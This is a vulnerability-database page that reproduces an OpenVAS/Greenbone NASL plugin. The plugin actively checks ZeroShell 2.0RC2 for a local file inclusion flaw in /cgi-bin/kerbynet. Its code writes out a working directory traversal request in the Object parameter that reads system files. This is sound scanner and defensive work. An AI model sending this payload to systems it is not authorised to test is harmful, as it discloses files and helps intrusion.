ZeroShell 2.0RC2 File Disclosure / Command Execution Vulnerability - Active Check
🗓️ 14 Aug 2013 00:00:00Reported by Copyright (C) 2013 Greenbone AGType
openvas🔗 plugins.openvas.org👁 16 Views
| Source | Link |
|---|---|
| packetstormsecurity | www.packetstormsecurity.com/files/122799/ZeroShell-2.0RC2-File-Disclosure-Command-Execution.html |
# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.103761");
script_version("2026-03-17T05:57:28+0000");
script_tag(name:"cvss_base", value:"7.8");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:N/A:N");
script_tag(name:"last_modification", value:"2026-03-17 05:57:28 +0000 (Tue, 17 Mar 2026)");
script_tag(name:"creation_date", value:"2013-08-14 10:33:56 +0200 (Wed, 14 Aug 2013)");
script_name("ZeroShell 2.0RC2 File Disclosure / Command Execution Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2013 Greenbone AG");
script_dependencies("find_service.nasl", "httpver.nasl", "os_detection.nasl",
"global_settings.nasl");
script_require_ports("Services/www", 443);
script_mandatory_keys("Host/runs_unixoide");
script_exclude_keys("Settings/disable_cgi_scanning");
script_xref(name:"URL", value:"http://packetstormsecurity.com/files/122799/ZeroShell-2.0RC2-File-Disclosure-Command-Execution.html");
script_tag(name:"impact", value:"An attacker can exploit this vulnerability to view files or execute
arbitrary script code in the context of the web server process. This may aid in further attacks.");
script_tag(name:"vuldetect", value:"Send a GET request, try to include a local file and check the response.");
script_tag(name:"insight", value:"Input to the 'Object' value in /cgi-bin/kerbynet is not properly sanitized.");
script_tag(name:"solution", value:"Updates are available. Please see the references for more information.");
script_tag(name:"summary", value:"ZeroShell is prone to a local file-include vulnerability because it
fails to sufficiently sanitize user-supplied input.");
script_tag(name:"affected", value:"ZeroShell version 2.0RC2 is vulnerable. Other versions may also
be affected.");
script_tag(name:"qod_type", value:"remote_app");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("host_details.inc");
include("os_func.inc");
include("traversal_func.inc");
port = http_get_port(default:443);
buf = http_get_cache(item:"/", port:port);
if(!buf || ("<title>ZeroShell" >!< buf && "/cgi-bin/kerbynet" >!< buf))
exit(0);
files = traversal_files("linux");
foreach pattern(keys(files)) {
file = files[pattern];
url = "/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../" + file;
req = http_get(item:url, port:port);
buf = http_keepalive_send_recv(port:port, data:req);
if(match = egrep(string:buf, pattern:pattern)) {
report = http_report_vuln_url(port:port, url:url);
report += '\nResponse: ' + chomp(match);
security_message(port:port, data:report);
exit(0);
}
}
exit(99);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Mar 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8